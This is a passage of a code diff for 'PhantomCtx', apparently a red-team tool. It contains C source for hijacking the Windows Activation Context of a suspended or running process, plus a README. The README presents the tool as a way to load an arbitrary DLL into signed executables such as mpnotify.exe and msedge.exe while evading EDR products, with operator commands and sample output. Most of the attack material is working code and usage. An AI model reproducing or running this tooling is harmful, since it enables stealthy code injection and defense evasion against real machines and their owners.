ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
|
||||
BYTE* B1 = (BYTE*)sshdr;
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
|
||||
|
||||
ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR));
|
||||
LONG foundIdx = -1;
|
||||
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
|
||||
if (keyByteLen != strEntries[i].KeyLength) continue;
|
||||
const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset);
|
||||
ULONG nChars = keyByteLen / sizeof(WCHAR);
|
||||
BOOL match = TRUE;
|
||||
for (ULONG c = 0; c < nChars; c++) {
|
||||
WCHAR a = existingKey[c];
|
||||
WCHAR b = wDllName[c];
|
||||
if (a >= L'A' && a <= L'Z') a += (L'a' - L'A');
|
||||
if (b >= L'A' && b <= L'Z') b += (L'a' - L'A');
|
||||
if (a != b) { match = FALSE; break; }
|
||||
}
|
||||
if (match) { foundIdx = (LONG)i; break; }
|
||||
}
|
||||
|
||||
free(wDllName);
|
||||
|
||||
if (foundIdx < 0) {
|
||||
printf("[ERROR] '%s' not found in DLL redirection section.\n", dllName);
|
||||
printf("[HINT] No existing redirect for this DLL. Use 'add-entry' to create one.\n");
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[INFO] Patching entry[%ld]: dllName='%s' redirectPath='%s'\n", foundIdx, dllName, dllPath);
|
||||
|
||||
// Patch the existing entry
|
||||
ULONG newTotalSize = PatchDllRedirectionEntry(blob, (ULONG)actCtxSize, (ULONG)foundIdx, wDllPath);
|
||||
free(wDllPath);
|
||||
|
||||
if (newTotalSize == (ULONG)actCtxSize) {
|
||||
printf("[ERROR] PatchDllRedirectionEntry failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
printf("[SUCCESS] Entry patched. New TotalSize = 0x%lX\n", newTotalSize);
|
||||
|
||||
// Print patched blob contents
|
||||
printf("\n[INFO] Patched ActivationContextData:\n");
|
||||
ParseDllRedirections((const BYTE*)blob, newTotalSize);
|
||||
|
||||
// Inject patched Activation Context blob into the suspended target process
|
||||
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, pi.hProcess, blob, newTotalSize);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
result = pResumeThread(pi.hThread);
|
||||
if (!result) {
|
||||
printf("[ERROR] ResumeThread failed: %u\n", GetLastError());
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Target process resumed.\n");
|
||||
|
||||
// Cleanup
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL modeSpawn(const char* submode, const char* target, const char* dllName, const char* dllPath, const char* stealFrom) {
|
||||
if (strcmp(submode, "steal-context") == 0) {
|
||||
if (!spawnStealContext(target, dllName, dllPath, stealFrom)) return FALSE;
|
||||
return TRUE;
|
||||
} else if (strcmp(submode, "add-entry") == 0) {
|
||||
if (!spawnAddEntry(target, dllName, dllPath)) return FALSE;
|
||||
return TRUE;
|
||||
} else if (strcmp(submode, "patch-entry") == 0) {
|
||||
if (!spawnPatchEntry(target, dllName, dllPath)) return FALSE;
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
BOOL modeSpawn(
|
||||
const char* submode,
|
||||
const char* targetPath,
|
||||
const char* dllName,
|
||||
const char* dllPath,
|
||||
const char* stealFrom
|
||||
);
|
||||
|
||||
BOOL spawnStealContext(
|
||||
const char* targetPath,
|
||||
const char* dllName,
|
||||
const char* dllPath,
|
||||
const char* stealFrom
|
||||
);
|
||||
|
||||
BOOL spawnAddEntry(
|
||||
const char* targetPath,
|
||||
const char* dllName,
|
||||
const char* dllPath
|
||||
);
|
||||
|
||||
BOOL spawnPatchEntry(
|
||||
const char* targetPath,
|
||||
const char* dllName,
|
||||
const char* dllPath
|
||||
);
|
||||
@@ -0,0 +1,102 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include "utils.h"
|
||||
|
||||
VOID helpPanel() {
|
||||
printf("\n\t\t+----------------------------------+\n");
|
||||
printf("\t\t| PhantomCtx v1.0 |\n");
|
||||
printf("\t\t+----------------------------------+\n\n");
|
||||
|
||||
printf(" Usage:\n");
|
||||
printf("\tPhantomCtx.exe -m [MODE] [OPTIONS]\n\n");
|
||||
|
||||
printf(" Modes:\n");
|
||||
printf("\t-m recon\tDisplays information about the Activation Context DLL redirections\n");
|
||||
printf("\t\t\tof a running process or one to be spawned.\n\n");
|
||||
printf("\t-m spawn\tPerform Activation Context Hijacking using an on-disk executable\n");
|
||||
printf("\t\t\t(preferably a signed binary for OPSEC purposes).\n\n");
|
||||
printf("\t-m runtime\tPerform Activation Context Hijacking on an already running process.\n\n");
|
||||
}
|
||||
|
||||
VOID helpPanelRecon() {
|
||||
printf("\n\t\t+----------------------------------+\n");
|
||||
printf("\t\t| PhantomCtx v1.0 |\n");
|
||||
printf("\t\t+----------------------------------+\n\n");
|
||||
|
||||
printf(" Usage:\n");
|
||||
printf("\tPhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]\n\n");
|
||||
|
||||
printf(" Submodes:\n");
|
||||
printf("\t-s spawn\tSpawn a process in suspended mode to retrieve its\n");
|
||||
printf("\t\t\tActivation Context DLL redirection information.\n\n");
|
||||
printf("\t-s runtime\tAttach to a currently running process to retrieve its\n");
|
||||
printf("\t\t\tActivation Context DLL redirection information.\n\n");
|
||||
|
||||
printf(" Examples:\n");
|
||||
printf("\tPhantomCtx.exe -m recon -s spawn -p C:\\path\\to\\target.exe\n");
|
||||
printf("\tPhantomCtx.exe -m recon -s runtime -p target.exe\n\n");
|
||||
}
|
||||
|
||||
VOID helpPanelSpawn() {
|
||||
printf("\n\t\t+----------------------------------+\n");
|
||||
printf("\t\t| PhantomCtx v1.0 |\n");
|
||||
printf("\t\t+----------------------------------+\n\n");
|
||||
|
||||
printf(" Usage:\n");
|
||||
printf("\tPhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]\n\n");
|
||||
|
||||
printf(" Submodes:\n");
|
||||
printf("\t-s steal-context\tSpawn a process and hijack its Activation Context\n");
|
||||
printf("\t\t\t\tby stealing the context from another running process.\n\n");
|
||||
|
||||
printf("\t-s add-entry\t\tSpawn a process and hijack its Activation Context\n");
|
||||
printf("\t\t\t\tby adding a new DLL redirection entry.\n\n");
|
||||
|
||||
printf("\t-s patch-entry\t\tSpawn a process and hijack its Activation Context\n");
|
||||
printf("\t\t\t\tby patching the path of an existing DLL redirection entry.\n\n");
|
||||
|
||||
printf(" Options:\n");
|
||||
printf("\t-p <PATH>\t\tPath to the target executable to spawn.\n");
|
||||
printf("\t-d <DLL>\t\tName of the DLL to hijack (e.g. comctl32.dll).\n");
|
||||
printf("\t--dll-path <PATH>\tPath to the custom DLL to load.\n\n");
|
||||
|
||||
printf(" steal-context Options:\n");
|
||||
printf("\t--steal-from <NAME>\tProcess name to steal the Activation Context from.\n\n");
|
||||
|
||||
printf(" Examples:\n");
|
||||
printf("\tPhantomCtx.exe -m spawn -s steal-context -p C:\\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n");
|
||||
printf("\tPhantomCtx.exe -m spawn -s add-entry -p C:\\program.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n");
|
||||
printf("\tPhantomCtx.exe -m spawn -s patch-entry -p C:\\program.exe -d comctl32.dll --dll-path C:\\path\\to\\custom.dll\n\n");
|
||||
}
|
||||
|
||||
VOID helpPanelRuntime(){
|
||||
printf("\n\t\t+----------------------------------+\n");
|
||||
printf("\t\t| PhantomCtx v1.0 |\n");
|
||||
printf("\t\t+----------------------------------+\n\n");
|
||||
|
||||
printf(" Usage:\n");
|
||||
printf("\tPhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]\n\n");
|
||||
|
||||
printf(" Submodes:\n");
|
||||
printf("\t-s steal-context\tHijack the Activation Context of a running process\n");
|
||||
printf("\t\t\t\tby stealing the context from another running process.\n\n");
|
||||
|
||||
printf("\t-s add-entry\t\tHijack the Activation Context of a running process\n");
|
||||
printf("\t\t\t\tby adding a new DLL redirection entry.\n\n");
|
||||
|
||||
printf("\t-s patch-entry\t\tHijack the Activation Context of a running process\n");
|
||||
printf("\t\t\t\tby patching the path of an existing DLL redirection entry.\n\n");
|
||||
|
||||
printf(" Options:\n");
|
||||
printf("\t-p <PROCESS_NAME>\tName of the already running target process (e.g. notepad.exe).\n");
|
||||
printf("\t-d <DLL>\t\tName of the DLL to hijack (e.g. comctl32.dll).\n");
|
||||
printf("\t--dll-path <PATH>\tPath to the custom DLL to load.\n\n");
|
||||
|
||||
printf(" steal-context Options:\n");
|
||||
printf("\t--steal-from <NAME>\tProcess name to steal the Activation Context from.\n\n");
|
||||
|
||||
printf(" Examples:\n");
|
||||
printf("\tPhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n");
|
||||
printf("\tPhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n");
|
||||
printf("\tPhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\\path\\to\\custom.dll\n\n");
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
VOID helpPanel();
|
||||
VOID helpPanelRecon();
|
||||
VOID helpPanelSpawn();
|
||||
VOID helpPanelRuntime();
|
||||
@@ -0,0 +1,650 @@
|
||||
# PhantomCtx
|
||||
|
||||
PhantomCtx is a tool that automates [Activation Context](https://learn.microsoft.com/en-us/windows/win32/sbscs/activation-contexts) hijacking with the objective of loading an arbitrary DLL into the vast majority of signed executables (e.g. Microsoft, Adobe, Mozilla).
|
||||
|
||||
The loader is presented as a modern alternative to traditional [DLL Sideloading](https://attack.mitre.org/techniques/T1574/001/): unlike conventional approaches, it does not require a vulnerable binary. The technique can be performed as long as the target executable **resolves a DLL through its Import Address Table (IAT)** or, in the worst case, via `LoadLibrary` without an absolute path.
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe
|
||||
|
||||
+----------------------------------+
|
||||
| PhantomCtx v1.0 |
|
||||
+----------------------------------+
|
||||
|
||||
Usage:
|
||||
PhantomCtx.exe -m [MODE] [OPTIONS]
|
||||
|
||||
Modes:
|
||||
-m recon Displays information about the Activation Context DLL redirections
|
||||
of a running process or one to be spawned.
|
||||
|
||||
-m spawn Perform Activation Context Hijacking using an on-disk executable
|
||||
(preferably a signed binary for OPSEC purposes).
|
||||
|
||||
-m runtime Perform Activation Context Hijacking on an already running process.
|
||||
```
|
||||
|
||||
# Table of Contents
|
||||
|
||||
- [Internal Mechanism](#internal-mechanism)
|
||||
- [A New Method for Activation Context Hijacking Focused on EDR Evasion](#a-new-method-for-activation-context-hijacking-focused-on-edr-evasion)
|
||||
- [Usage: Module-Based Workflow](#usage-module-based-workflow)
|
||||
- [Recon](#recon)
|
||||
- [Spawn (recommended)](#spawn-recommended)
|
||||
- [Runtime](#runtime)
|
||||
- [Example: Activation Context Hijacking + DLL Proxying mpnotify.exe](#example-activation-context-hijacking--dll-proxying-mpnotifyexe)
|
||||
- [How to Compile](#how-to-compile)
|
||||
- [Disclaimer](#disclaimer)
|
||||
- [References](#references)
|
||||
|
||||
# Internal Mechanism
|
||||
|
||||
`PhantomCtx` abuses a **legitimate** Windows feature present in most processes, called **Activation Contexts**. According to Microsoft:
|
||||
|
||||
>[_Activation contexts_](https://learn.microsoft.com/en-us/windows/win32/sbscs/a-sbscs-gly) are data structures in memory containing information that the system can use to redirect an application **to load a particular DLL version**, COM object instance, or custom window version...
|
||||
|
||||
When the Windows Loader resolves a DLL (via `LoadLibrary` or the import table), it follows a defined resolution order:
|
||||
|
||||
1. DLL redirection
|
||||
2. API sets
|
||||
3. **SxS manifest redirection**
|
||||
4. Loaded-module list
|
||||
5. Known DLLs
|
||||
6. Process package dependency graph
|
||||
7–12. Standard file search order on disk
|
||||
|
||||
`PhantomCtx` targets step 3: SxS manifest redirection. Activation Contexts are derived from [Side-by-Side](https://en.wikipedia.org/wiki/Side-by-side_assembly) (`.manifest`) files associated with executables, typically embedded in PE binaries. Internally, an Activation Context contains a **Table of Contents (ToC)** indexing multiple sections, including the **DLL redirection section**. The Loader typically accesses Activation Contexts through `PEB.ActivationContextData`.
|
||||
|
||||
Research by [Kurosh Dabbagh Escalante](https://github.com/Kudaes) showed that a malicious Activation Context can be constructed using `CreateActCtx`, written into `RW` memory in a target process, and then activated by redirecting `PEB.ActivationContextData` to the crafted structure.
|
||||
|
||||
Once hijacked, the loader resolves DLL redirections defined within the malicious Activation Context, **redirecting library resolution** to paths controlled by the attacker.
|
||||
|
||||
The loader named `Eclipse`, developed as part of his research, can be found in its [official repository](https://github.com/Kudaes/Eclipse).
|
||||
|
||||
## A New Method for Activation Context Hijacking Focused on EDR Evasion
|
||||
|
||||
After multiple tests, `Eclipse` was detected by aggressive EDRs such as Elastic at the following points:
|
||||
|
||||
- `Potential Suspended Process Code Injection`: suspended process creation followed by `NtWriteVirtualMemory` to copy the AC blob into the remote process.
|
||||
- `Remote Process Memory Write by Low Reputation Module`: `NtWriteVirtualMemory` without `CreateProcess` in the call stack and a low-reputation module, leading to `PEB.ActivationContextData` overwrite.
|
||||
- `Remote Memory Write to Trusted Target Process`: `WriteProcessMemory` without `CreateProcess` in the call stack, restricted to system/user-installed binaries.
|
||||
|
||||
After one day of research looking for alternative approaches to implement in `PhantomCtx`, I discovered that **the memory region of the original Activation Context is a section view mapped during process creation**. It is possible to **unmap this section view using** `NtUnmapViewOfSection` and then create a new read-only section view backed by our malicious Activation Context, mapping it at the **exact same memory address** where the original one resided.
|
||||
|
||||
As a result, it is **no longer necessary** for the loader to overwrite the `PEB.ActivationContextData` pointer. This eliminates the requirement to use `NtAllocateVirtualMemory` and `NtWriteVirtualMemory`, bypassing all EDR monitoring rules related to remote process memory writes and injection.
|
||||
|
||||
Additionally, to increase detection difficulty, `PhantomCtx` does not use `CreateActCtxW`, removing the need to handle `.manifest` files during the attack. Depending on the selected mode, it can **steal the Activation Context from another remote process** containing a valid DLL redirection section using `NtReadVirtualMemory`, reconstruct the DLL redirection entries locally, patch it, and then replace the original.
|
||||
|
||||
# Usage: Module-Based Workflow
|
||||
|
||||
The tool is designed with a **modular architecture** to simplify development while providing the operator with a clear, step-based workflow.
|
||||
|
||||
Each module serves a **specific role** within the exploitation workflow.
|
||||
|
||||
**Please take a moment to review the purpose of each one to fully leverage the tool’s capabilities!!!**
|
||||
|
||||
The attack can be performed either on a **process to be spawned** (**recommended**) or on an **already running process**. The tool is designed to handle both scenarios.
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe
|
||||
|
||||
+----------------------------------+
|
||||
| PhantomCtx v1.0 |
|
||||
+----------------------------------+
|
||||
|
||||
Usage:
|
||||
PhantomCtx.exe -m [MODE] [OPTIONS]
|
||||
|
||||
Modes:
|
||||
-m recon Displays information about the Activation Context DLL redirections
|
||||
of a running process or one to be spawned.
|
||||
|
||||
-m spawn Perform Activation Context Hijacking using an on-disk executable
|
||||
(preferably a signed binary for OPSEC purposes).
|
||||
|
||||
-m runtime Perform Activation Context Hijacking on an already running process.
|
||||
```
|
||||
|
||||
## Recon
|
||||
|
||||
The `recon` mode focuses on parsing the Activation Context of the target program or running process. It is the first module that should be executed, as it determines which exploitation submodule should be used within the exploitation workflow.
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -h
|
||||
|
||||
+----------------------------------+
|
||||
| PhantomCtx v1.0 |
|
||||
+----------------------------------+
|
||||
|
||||
Usage:
|
||||
PhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]
|
||||
|
||||
Submodes:
|
||||
-s spawn Spawn a process in suspended mode to retrieve its
|
||||
Activation Context DLL redirection information.
|
||||
|
||||
-s runtime Attach to a currently running process to retrieve its
|
||||
Activation Context DLL redirection information.
|
||||
|
||||
Examples:
|
||||
PhantomCtx.exe -m recon -s spawn -p C:\path\to\target.exe
|
||||
PhantomCtx.exe -m recon -s runtime -p target.exe
|
||||
```
|
||||
|
||||
As an example, we use the signed Microsoft binary `mpnotify.exe`. The first step is to determine whether it contains a valid Activation Context with a DLL redirection section.
|
||||
|
||||
If it does not, the tool recommends the `steal-context` submodule under the `spawn` or `runtime` modes, which retrieves an Activation Context from another process containing a valid redirection section.
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Windows\System32\mpnotify.exe"
|
||||
[SUCCESS] Suspended process created...
|
||||
[SUCCESS] Activation Context Data Blob copied to local heap buffer @00000294CEA79CD0 (916 bytes)
|
||||
|
||||
+-[ ACTIVATION CONTEXT DATA ]
|
||||
| Magic : 0x78746341 (Actx)
|
||||
| HeaderSize : 0x20 (32 bytes)
|
||||
| FormatVersion : 1
|
||||
| TotalSize : 0x394 (916 bytes)
|
||||
| Flags : 0x00000000
|
||||
|
|
||||
+--[ TOC ] 6 entries
|
||||
| [00] Id=1 Format=1 Offset=0x00D4 Length=0x0218
|
||||
| [01] Id=4 Format=2 Offset=0x02EC Length=0x0028
|
||||
| [02] Id=5 Format=2 Offset=0x0314 Length=0x0028
|
||||
| [03] Id=6 Format=2 Offset=0x033C Length=0x0028
|
||||
| [04] Id=9 Format=2 Offset=0x0364 Length=0x0028
|
||||
| [05] Id=11 Format=1 Offset=0x038C Length=0x0008
|
||||
|
|
||||
+--[ DLL REDIRECTION ] not present in this blob
|
||||
|
|
||||
+--[ HINT ] Use 'steal-context' to steal the Activation Context
|
||||
from a running process that has one.
|
||||
Example: -m spawn|runtime -s steal-context -p <target> -d <dll> --dll-path <path> --steal-from <process>
|
||||
```
|
||||
|
||||
If the target program or process Activation Context contains a valid DLL redirection section, the most efficient approach is to use the `add-entry` or `patch-entry` submodules within the `spawn` or `runtime` exploitation modes.
|
||||
|
||||
## Spawn (recommended)
|
||||
|
||||
The `spawn` mode is designed to perform Activation Context hijacking by spawning a process from a signed executable on the target system.
|
||||
|
||||
This method is the **most recommended** and thoroughly tested, due to its operational simplicity and reliability.
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -h
|
||||
|
||||
+----------------------------------+
|
||||
| PhantomCtx v1.0 |
|
||||
+----------------------------------+
|
||||
|
||||
Usage:
|
||||
PhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]
|
||||
|
||||
Submodes:
|
||||
-s steal-context Spawn a process and hijack its Activation Context
|
||||
by stealing the context from another running process.
|
||||
|
||||
-s add-entry Spawn a process and hijack its Activation Context
|
||||
by adding a new DLL redirection entry.
|
||||
|
||||
-s patch-entry Spawn a process and hijack its Activation Context
|
||||
by patching the path of an existing DLL redirection entry.
|
||||
|
||||
Options:
|
||||
-p <PATH> Path to the target executable to spawn.
|
||||
-d <DLL> Name of the DLL to hijack (e.g. comctl32.dll).
|
||||
--dll-path <PATH> Path to the custom DLL to load.
|
||||
|
||||
steal-context Options:
|
||||
--steal-from <NAME> Process name to steal the Activation Context from.
|
||||
|
||||
Examples:
|
||||
PhantomCtx.exe -m spawn -s steal-context -p C:\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
|
||||
PhantomCtx.exe -m spawn -s add-entry -p C:\program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
|
||||
PhantomCtx.exe -m spawn -s patch-entry -p C:\program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll
|
||||
```
|
||||
|
||||
The internal workflow of this mode is as follows:
|
||||
1. Create the target process in a suspended state using `CreateProcessW`.
|
||||
2. Depending on the selected submodule:
|
||||
- `steal-context`: Open the stealing process and copy a valid Activation Context containing a DLL redirection section into a local buffer. Depending on whether an entry for the target DLL already exists, a new entry is created or an existing one is patched. The modified Activation Context is then mapped into the suspended process, replacing the original one.
|
||||
|
||||
- `add-entry`: Open the suspended program process and copy its Activation Context into a local buffer. A new DLL redirection entry is added for the specified DLL, and the modified Activation Context replaces the original.
|
||||
|
||||
- `patch-entry`: Open the suspended program process and copy its Activation Context into a local buffer. The existing DLL redirection entry for the specified DLL is patched to point to the provided payload DLL path, and the modified Activation Context replaces the original.
|
||||
3. Resume execution of the suspended process using `ResumeThread`.
|
||||
|
||||
The `steal-context` submodule is recommended when the **target executable does not contain a valid Activation Context or a valid DLL redirection section**. This can be determined using the previously executed `recon` module.
|
||||
|
||||
A reliable target for context stealing is `explorer.exe`. This does not introduce instability or detection risk, as the operation only involves reading virtual memory.
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path C:\hijack\hijack.dll
|
||||
[SUCCESS] Found 'explorer.exe' PID 1604
|
||||
[SUCCESS] Opened handle to PID 1604
|
||||
[SUCCESS] Activation Context Data Blob copied to local heap buffer @000001AC80F53FD0 (8256 bytes)
|
||||
[INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2040
|
||||
[INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\hijack\hijack.dll'
|
||||
[+] 'advapi32.dll' not found -> adding new entry.
|
||||
[ADD] DLL key : advapi32.dll
|
||||
[ADD] Redirect path : C:\hijack\hijack.dll
|
||||
[ADD] PseudoKey : 0xF60E87FC
|
||||
[ADD] RosterIndex : 1
|
||||
[ADD] ElementCount : 3
|
||||
[ADD] TotalSize : 0x2040 -> 0x20E4
|
||||
[SUCCESS] Blob patched. New TotalSize = 0x20E4
|
||||
|
||||
[INFO] Patched ActivationContextData:
|
||||
|
|
||||
<SNIP>
|
||||
|
|
||||
+--[ DLL REDIRECTION ] 3 entries
|
||||
|
|
||||
<SNIP>
|
||||
|
|
||||
| [02] advapi32.dll
|
||||
| PseudoKey : 0xF60E87FC
|
||||
| RosterIdx : 1
|
||||
| Flags : PATH_INCLUDES_BASE_NAME
|
||||
| Segments : 1 PathLen=40 bytes
|
||||
| Path : C:\hijack\hijack.dll
|
||||
|
|
||||
+--[ END ]
|
||||
|
||||
<SNIP>
|
||||
[SUCCESS] Original Activation Context region unmapped @ 00000164EA0A0000
|
||||
[SUCCESS] Patched Activation Context mapped at 00000164EA0A0000 (same address)
|
||||
[SUCCESS] Target process resumed.
|
||||
```
|
||||
|
||||
The `add-entry` and `patch-entry` submodules are used when **the application already has a valid Activation Context with a DLL redirection section** and:
|
||||
|
||||
1. It already contains a redirection entry for a DLL; in this case, `patch-entry` is the appropriate option.
|
||||
2. A custom redirection needs to be added for a library that is expected to be loaded during execution; in this case, `add-entry` is used.
|
||||
|
||||
Although `steal-context` can still be used in these scenarios, it is generally unnecessary, as a valid Activation Context is already available for modification.
|
||||
|
||||
A `patch-entry` example can be observed after enumerating `msedge.exe` with `PhantomCtx`, where an existing custom redirection entry for `msedge_elf.dll` is identified:
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
|
||||
|
||||
<SNIP>
|
||||
|
|
||||
| [01] msedge_elf.dll
|
||||
| PseudoKey : 0x81A505F9
|
||||
| RosterIdx : 3
|
||||
| Flags : OMITS_ASSEMBLY_ROOT
|
||||
| Segments : 0 PathLen=0 bytes
|
||||
| Path : <reconstructed from roster>
|
||||
|
|
||||
<SNIP>
|
||||
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s patch-entry -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -d msedge_elf.dll --dll-path C:\hijack\hijack.dll
|
||||
|
||||
<SNIP>
|
||||
|
||||
[INFO] Patched ActivationContextData:
|
||||
|
||||
<SNIP>
|
||||
|
|
||||
| [01] msedge_elf.dll
|
||||
| PseudoKey : 0x81A505F9
|
||||
| RosterIdx : 3
|
||||
| Flags : PATH_INCLUDES_BASE_NAME
|
||||
| Segments : 1 PathLen=40 bytes
|
||||
| Path : C:\hijack\hijack.dll
|
||||
<SNIP>
|
||||
```
|
||||
|
||||
Alternatively, by enumerating the IAT of the target process, imported DLLs suitable for hijacking can be identified. For example, `librewolf.exe` imports `SHLWAPI.dll` even if it is not present in the Activation Context manifest; in such cases, it can be added to the redirection table to force resolution.
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s add-entry -p "C:\Program Files\LibreWolf\librewolf.exe" -d SHLWAPI.dll --dll-path C:\hijack\hijack.dll
|
||||
|
||||
<SNIP>
|
||||
|
||||
[INFO] Patched ActivationContextData:
|
||||
|
||||
<SNIP>
|
||||
|
|
||||
+--[ DLL REDIRECTION ] 4 entries
|
||||
| [00] SHLWAPI.dll
|
||||
| PseudoKey : 0x65C6D010
|
||||
| RosterIdx : 1
|
||||
| Flags : PATH_INCLUDES_BASE_NAME
|
||||
| Segments : 1 PathLen=40 bytes
|
||||
| Path : C:\hijack\hijack.dll
|
||||
|
|
||||
<SNIP>
|
||||
```
|
||||
|
||||
## Runtime
|
||||
|
||||
The `runtime` mode is designed to perform Activation Context hijacking on a signed, already-running process.
|
||||
|
||||
Although this module is implemented, its effectiveness depends on accurately **knowing when and which specific library is loaded during the process runtime**. As a result, even if the Activation Context of the legitimate process is hijacked, success still relies on the target calling `LoadLibrary` without an explicit path, which is often difficult to predict.
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -h
|
||||
|
||||
+----------------------------------+
|
||||
| PhantomCtx v1.0 |
|
||||
+----------------------------------+
|
||||
|
||||
Usage:
|
||||
PhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]
|
||||
|
||||
Submodes:
|
||||
-s steal-context Hijack the Activation Context of a running process
|
||||
by stealing the context from another running process.
|
||||
|
||||
-s add-entry Hijack the Activation Context of a running process
|
||||
by adding a new DLL redirection entry.
|
||||
|
||||
-s patch-entry Hijack the Activation Context of a running process
|
||||
by patching the path of an existing DLL redirection entry.
|
||||
|
||||
Options:
|
||||
-p <PROCESS_NAME> Name of the already running target process (e.g. notepad.exe).
|
||||
-d <DLL> Name of the DLL to hijack (e.g. comctl32.dll).
|
||||
--dll-path <PATH> Path to the custom DLL to load.
|
||||
|
||||
steal-context Options:
|
||||
--steal-from <NAME> Process name to steal the Activation Context from.
|
||||
|
||||
Examples:
|
||||
PhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
|
||||
PhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
|
||||
PhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll
|
||||
```
|
||||
|
||||
The internal workflow of this mode is as follows:
|
||||
1. The PID of the target process is identified from its executable name, and the process is opened with the permissions `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION`.
|
||||
2. Depending on the selected submodule:
|
||||
- `steal-context`: Open the stealing process and copy a valid Activation Context containing a DLL redirection section into a local buffer. Depending on whether an entry for the target DLL already exists, a new entry is created or the existing one is patched. The modified Activation Context is then mapped into the running process, replacing the original one.
|
||||
|
||||
- `add-entry`: Open the target running process and copy its Activation Context into a local buffer. A new DLL redirection entry is added for the specified DLL, and the modified Activation Context replaces the original.
|
||||
|
||||
- `patch-entry`: Open the target running process and copy its Activation Context into a local buffer. The existing DLL redirection entry for the specified DLL is patched to point to the provided payload DLL, and the updated Activation Context replaces the original.
|
||||
|
||||
The `steal-context` submodule is recommended when **the target running process does not contain a valid Activation Context or a valid DLL redirection section**. This can be determined using the previously executed `recon` module.
|
||||
|
||||
A reliable target for context stealing is `explorer.exe`. This does not introduce instability or detection risk, as the operation only involves reading virtual memory.
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s steal-context -p cmd.exe --steal-from explorer.exe -d user32.dll --dll-path C:\hijack\hijack.dll
|
||||
|
||||
<SNIP>
|
||||
|
||||
[INFO] Patched ActivationContextData:
|
||||
|
||||
<SNIP>
|
||||
|
|
||||
